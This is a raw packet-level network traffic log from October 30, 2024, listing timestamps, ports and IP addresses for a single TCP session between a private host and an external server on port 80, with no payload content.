Oct 30, 2024 02:27:34.314599991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314635038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.314662933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314675093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314707041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.314824104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314835072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314851999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314862967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314873934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.314873934 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.314882994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.314913034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.315056086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.315068007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.315104961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.315144062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.315155029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.315165043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.315184116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.315196037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.315355062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.315392017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.315404892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.315421104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.315445900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.315459013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.315491915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.315509081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.315520048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.315526962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.315536976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.315558910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.408436060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.408576965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.408586979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.408617973 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.408632994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.430568933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.430592060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.430603027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.430646896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.430676937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.430727959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.430737972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.430771112 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.430785894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.430922985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.430946112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.430969954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.430980921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.431087017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431097031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431107044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431128025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.431139946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.431272030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431281090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431291103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431301117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431315899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431318998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.431343079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.431356907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.431440115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431488037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.431617975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431627989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431638002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431667089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.431689024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.431786060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431811094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431823969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431833982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431838036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.431849003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.431857109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.431874990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.431955099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.431997061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.432130098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432142973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432152033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432173014 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.432180882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432193041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432199955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.432224035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.432261944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432272911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432307005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.432437897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432450056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432460070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432486057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.432497025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.432606936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432621956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432632923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432656050 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.432657003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432671070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432682037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.432698965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.432720900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.432785034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432795048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432826042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.432837963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.432951927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.432997942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.433486938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.433497906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.433509111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.433515072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.433536053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.433547020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.433636904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.433646917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.433656931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.433667898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.433677912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.433684111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.433696985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.433705091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.433722019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.433744907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.433820963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.433832884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.433841944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.433870077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.433890104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.433976889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.433989048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.433998108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.434006929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.434020042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.434048891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.524293900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.524310112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.524350882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.524365902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.524409056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.524420977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.524452925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.547949076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.548000097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.548006058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.548012972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.548018932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.548135996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.548152924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.548165083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.548173904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.548197031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.548207998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.548269033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.548336029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.548501968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.589987040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.595518112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.875690937 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.875716925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.875727892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.875821114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.875845909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.875849962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.875876904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.875890017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.875896931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.875916004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.875931978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.875997066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.876008987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.876038074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.876194954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.876207113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.876231909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.876256943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.876539946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.876552105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.876563072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.876579046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.876600027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.876727104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.876738071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.876748085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.876759052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.876770020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.876775980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.876780987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.876794100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.876795053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.876806021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.876821995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.876844883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.876872063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.877273083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.877284050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.877294064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.877305984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.877316952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.877319098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.877331018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.877331972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.877343893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.877355099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.877358913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.877381086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.877396107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.877407074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.877468109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993129969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993153095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993180037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993204117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993217945 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993288994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993320942 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993326902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993335009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993346930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993357897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993359089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993370056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993388891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993436098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993530035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993541956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993551970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993563890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993568897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993576050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993588924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993588924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993612051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993637085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993788004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993801117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993827105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993834972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993855953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993880987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993897915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993915081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993944883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993956089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993966103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993972063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.993979931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.993994951 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994014025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994132996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994169950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994173050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994185925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994210958 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994221926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994270086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994285107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994302034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994307041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994313955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994324923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994333029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994353056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994501114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994513035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994545937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994545937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994561911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994585991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994596958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994599104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994618893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994637012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994731903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994743109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994765997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994779110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994865894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994878054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994887114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994899035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994906902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994910002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.994934082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.994951010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.995054960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.995091915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.995093107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.995121956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.995127916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.995135069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.995157957 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.995166063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:34.995197058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:34.995234013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.037298918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.037309885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.037400961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.110470057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.110482931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.110495090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.110558033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.110590935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.110658884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.110671043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.110682011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.110692978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.110697985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.110706091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.110707998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.110729933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.110755920 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.110763073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.110776901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.110797882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.110812902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.110862017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.110873938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.110887051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.110898018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.110909939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.110928059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.110981941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.110994101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.111004114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.111026049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.111053944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.111105919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.111124992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.111146927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.111156940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.111177921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.111190081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.111217976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:35.111267090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:35.111304045 CET	49760	80	192.168.2.4	185.215.113.206
